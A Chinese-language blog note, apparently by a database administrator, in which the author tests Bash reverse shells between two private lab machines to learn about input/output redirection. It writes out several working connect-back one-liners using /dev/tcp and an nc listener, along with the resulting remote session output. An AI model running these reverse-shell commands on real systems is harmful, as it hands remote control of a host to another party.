[20210908]Reverse Shell with Bash.txt
--//昨天无意中看了链接https://blog.csdn.net/cnbird2008/article/details/5330996,里面提到了利用nc打开一个端口,然后在另外的
--//机器重定向当前的bash shell的标准输入0,标准输出1,标准错误2到源端nc的指定端口,从而实现访问服务器的目的,代码很简单,我自
--//己觉得很有意思,测试看看.
--//首先该连接应该是转载,我把相关的链接查了一遍,发现原始链接来自:
https://www.gnucitizen.org/blog/reverse-shell-with-bash/
--//注解部分,我发现链接:
http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ --//该链接已经无法访问.
--//不过我找到如下链接;
https://www.commandlinefu.com/commands/view/7907/connect-back-shell-using-bash-built-ins
Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
Connect-back shell using Bash built-ins
Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down
environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be
enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to
disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0;
exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
--//注:我的测试前面加exec不行,我自己最后选择这个方式,代码比较容易读懂,改写如下:
--// /bin/bash -i 0</dev/tcp/hostname/port 1>&0 2>&0
truemilk · 2010-03-18 17:25:08
--//我把里面的链接提到的方法测试一遍,自己其中选择比较好的方式,以下我仅仅认为比较好的连接模式.
1.首先测试需要两台机器,千万不要在生产系统做这样的测试!!
--//IP如下:
192.168.100.78 --//服务器A
192.168.100.76 --//客户端B
--//为了便于后面的说明暂且定义192.168.100.78(服务器A),192.168.100.76(客户端B)
--//其中客户端B 192.168.100.76 要求安装nc rpm包.
2.测试:
--//在客户端B(192.168.100.76)执行,注意我的版本不知道为什么不能加入-p参数.打开一个端口9999,注意一定不能被别的服务占用.
$ nc -l 9999 -vvv
--//在服务器A(192.168.100.78)上执行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//首先你安装的bash shell必须支持/dev/tcp模式访问端口,按照前面链接介绍debian编译bash的版本不行.
--//bash -i 就是登陆新的bash shell,这样的好处是重新读取环境变量.
--//将标准输入0定向到/dev/tcp/192.168.100.76/9999,然后将标准输出1,标准错误2重定向到标准输入0.
--//我在这里有点犯浑,我开始以为在服务器A下面输入命令,发现不对,在看客户端B的界面才发现,在客户端B(192.168.100.76)的界面上
--//会出现如下提示:
$ nc -l 9999 -vvvv
Connection from 192.168.100.78 port 9999 [tcp/distinct] accepted
[IP=100.78 ~/xxxx430/testz ] $
--//这样客户端B 已经通过端口9999连接到192.168.100.78.这样开始执行命令了.
$ echo $$
echo $$
33816
--//在客户端B(192.168.100.76)上执行以root用户:
# ls -l /proc/33816/fd
total 0
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 0 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 1 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 2 -> socket:[12492953]
lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 255 -> socket:[12492953]
--//文件句柄0,1,2,255分别执行指向了socket:[12492953].
# lsof -i -P -n | grep 12493330
bash 33816 oracle 0u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 1u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 2u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
bash 33816 oracle 255u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED)
--//在客户端B(192.168.100.76)上执行:
$ ls -l asasas
ls -l asasas
ls: asasas: No such file or directory
--//标准错误2可以回显.
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
--//先显示提示行输入的命令,然后执行.
$ vi aa1
vi aa1
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
^C
--//无法编辑文件.然后直接退出.这个是正常的.重新再来.
$ env | grep -i SQLPATH
env | grep -i SQLPATH
SQLPATH=/home/oracle/sqllaji:/home/oracle/sqllaji/tpt_public_unixmac
--//环境变量存在,可以直接在sqlplus下调用目录下的sql语句.
--//命令补全不会显示,不过回车显示如下.
$ rl
rl
rladrci rldgmgrl rlog rlogin-cwd rlsql rlwrap
rlatopam rletopnm rlogin rlrman rlsqlz
$ rl
bash: rl: command not found
--//上下键命令查询显示如^[[A.不过直接执行倒是正确的,有点盲打的感觉,存在一定风险.例子:
$ ls -l | head -3
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ ^[[A
ls -l | head -3
total 20936
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt#
-rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt
$ sqlplus -s -l scott/book @ ver1
sqlplus -s -l scott/book @ ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
quit
--//如果在服务器A(192.168.100.78)上执行如下:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 2>&0
--//这样执行的标准输出1保持不变,这样直接服务器A该命令的下面.我不演示了,大家可以执行测试.
3.其他模式:
--//在客户端B(192.168.100.76)执行:
$ nc -l 9999 -vvv
--//在服务器A(192.168.100.78)上执行:
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ cat <&5 | while read line; do $line 2>&5 >&5; done
--//或者
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//或者
$ exec 0</dev/tcp/192.168.100.76/9999; exec 1>&0; exec 2>&0;
--//或者
$ bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
--//原始的链接没有2>&1我加上的,后面我发现前面的>&就已经将标准错误2定向到标准错误1,有点多余.
--//它有点不同,将标准输出1重定向到/dev/tcp/192.168.100.76/9999,然后将
--//标准输入0,标准错误2重定向到标准输出1.实际上结果都是一样,最终目的都是执行1个socket.
--//其它模式的前面3种我不推荐,主要原因没有提示行,没有执行bash -i继承环境变量不建议使用.简单演示:
--//在客户端B(192.168.100.76)执行:
$ nc -l 9999 -vvv
--//在服务器A(192.168.100.78)上执行:
$ echo $$
34223
$ exec 5<>/dev/tcp/192.168.100.76/9999
$ while read line 0<&5; do $line 2>&5 >&5; done
--//在客户端B(192.168.100.76)执行:
echo $$
$$
echo $SQLPATH
$SQLPATH
--//显示的信息有点奇怪!!不理解,至少显示变量的内容啊.难道这样的shell与bash shell有什么不同吗?
# lsof -i -P -n | grep 9999
bash 34223 oracle 0u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
bash 34223 oracle 5u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED)
总结:
--//我做了许多测试,感觉如下两者方式最佳,正常情况下估计不会有人这样使用,仅仅扩展学习的思路.
--//我自己都没有想到如此简单,就能实现远程访问,对于理解标准输入0,标准输出1,标准错误2有一定帮助.
--//在客户端B(192.168.100.76)执行:
$ nc -l 9999 -vvv
--//在服务器A(192.168.100.78)上执行:
$ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0
--//或者
$ /bin/bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1